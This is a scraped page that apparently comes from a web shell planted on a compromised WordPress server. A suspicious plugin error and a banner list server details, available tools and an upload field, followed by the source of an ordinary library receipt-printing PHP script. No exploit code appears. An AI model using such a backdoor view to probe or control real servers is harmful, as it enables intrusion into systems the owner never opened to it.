Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/_oldsite/ |
Upload File : |
<?php
require './inc/include.php';
$tranid = isset($_GET['tid']) ? intval($_GET['tid']) : 0;
$fn = isset($_GET['fn']) ? strtolower($_GET['fn']) : 'b'; // B = Borrowing // S = Sale
$DATABASE->Open();
$sql = <<<BLOCK
select * from dt_tranh
left outer join dt_member on bh_member=bm_id
where bh_id=$tranid
BLOCK;
$DATA = $DATABASE->Lookup($sql);
// only print out complete transactions
if ($DATA['bh_type'] != 'B') {
$DATABASE->Close();
header('content-type: text/plain');
echo "unable to print transaction $tranid\n";
exit;
}
if ($fn == 'b') {
PrintLoanReceipt($DATA, $tranid);
} elseif ($fn == 's') {
PrintInvoice($DATA, $tranid);
}
$DATABASE->Close();
function PrintLoanReceipt(&$DATA, $tranid) {
global $DATABASE;
$dt = strtotime($DATA['bh_return']);
$duedate = date('D, F j, Y', $dt);
$details = "\nW - " . ip_AsMember($DATA) . "\nR";
if ($DATA['bm_phone'] != '') {
$details .= "\nW - " . $DATA['bm_phone'] . "\nR";
}
// assemble list of books that have been checked out
$borrowed = ip_ReadTransaction($tranid, 0, '__booklist');
// update print count
$sql = "update dt_tranh set bh_printed=bh_printed+1 where bh_id=$tranid";
$DATABASE->Query($sql, '', 0);
// pick up all details
$value = <<< BLOCK
H Receipt $tranid
M 0,10
N Arial
S 10
B 1
C 100
R
W - books.HopeinStoughton.org
R
R
S 9
B 0
W - Member details:
R
M 40
R$details
R
M 0
W - Return by:
R
M 40
S 10
B 1
W - $duedate
R
B 0
S 9
R
M 0
W - Borrowed Items:
R
M 40
R$borrowed
R
M 0
W - If you wish to purchase any of these books, please go to http://books.hopeinstoughton.org,
W - click on the purchase link, and enter the barcode of the book you wish to purchase.
R
GO
BLOCK;
$dvalue = ip_quote($value);
// Send the report to the BarScan program - it will print it out on the thermal printer
echo <<<BLOCK
<html>
<body onload="document.f.submit();">
<form method="post" action="http://127.0.0.1:1080/print" name="f">
<input type="hidden" name="data" value="$dvalue">
</form>
</body>
BLOCK;
}
// Only include borrowed books on this list
function __booklist(&$ITEM, &$param) {
if (!intval($ITEM['dt_purchase'])) {
$title = ip_AsTitle($ITEM);
$param .= "\nW - $title\nR\nR\n";
}
return 0;
}
function __booklist_sale(&$ITEM, &$param) {
global $COUNT;
if (intval($ITEM['dt_purchase'])) {
$title = ip_AsTitle($ITEM);
$cost = ip_ItemCost($ITEM);
$param .= "J $cost\n";
$param .= "W 440 $title\nR\n";
$COUNT++;
}
return 0;
}
function _totalline($text, $amt) {
$value = sprintf('%01.2f', $amt);
$result = "J $value\nW - $text\nR\n";
return $result;
}
function PrintInvoice(&$DATA, $tranid) {
global $DATABASE, $PAYMET, $COUNT;
$dt = strtotime($DATA['bh_return']);
$duedate = date('D, F j, Y', $dt);
$COUNT = 0;
$name = ip_AsMember($DATA);
$details = "\nW - " . ip_AsMember($DATA) . "\nR";
if ($DATA['bm_phone'] != '') {
$details .= "\nW - " . $DATA['bm_phone'] . "\nR";
}
$date = strtotime($DATA['bh_datetime'] . ' Z');
$ldate = date('m/d/Y', $date);
$rdate = date('H:i:s', $date);
$paymet = isset($DATA['bh_paymet']) ? $DATA['bh_paymet'] : '';
$pt = ifp_WithoutAccess($PAYMET[$paymet]);
$totallines = _totalline('TOTAL', $DATA['bh_total']) ;
if ($paymet != '4') { // Account
$totallines .= _totalline($pt, $DATA['bh_tendered']);
$change = $DATA['bh_tendered'] - $DATA['bh_paid'];
$totallines .= _totalline('CHANGE', $change);
}
// assemble list of books that have been purchased out
$purchases = ip_ReadTransaction($tranid, 0, '__booklist_sale');
// update print count
$sql = "update dt_tranh set bh_printedi=bh_printedi+1 where bh_id=$tranid";
$DATABASE->Query($sql, '', 0);
$value = <<< BLOCK
H Invoice $tranid
M 0,10
N Arial
S 10
B 1
C 100
R
W - books.HopeinStoughton.org
R
R
S 9
B 0
M 0
J $rdate
W - $ldate
R
R
N Arial Narrow
M 0
$purchases
R
N Arial
M 100
B 1
$totallines
B 0
M 0
R
N Arial Narrow
W - Trx: $tranid, Items: $COUNT, $name
R
GO
BLOCK;
$dvalue = ip_quote($value);
// Send the report to the BarScan program - it will print it out on the thermal printer
echo <<<BLOCK
<html>
<body onload="document.f.submit();">
<form method="post" action="http://127.0.0.1:1080/print" name="f">
<input type="hidden" name="data" value="$dvalue">
</form>
</body>
BLOCK;
}
?>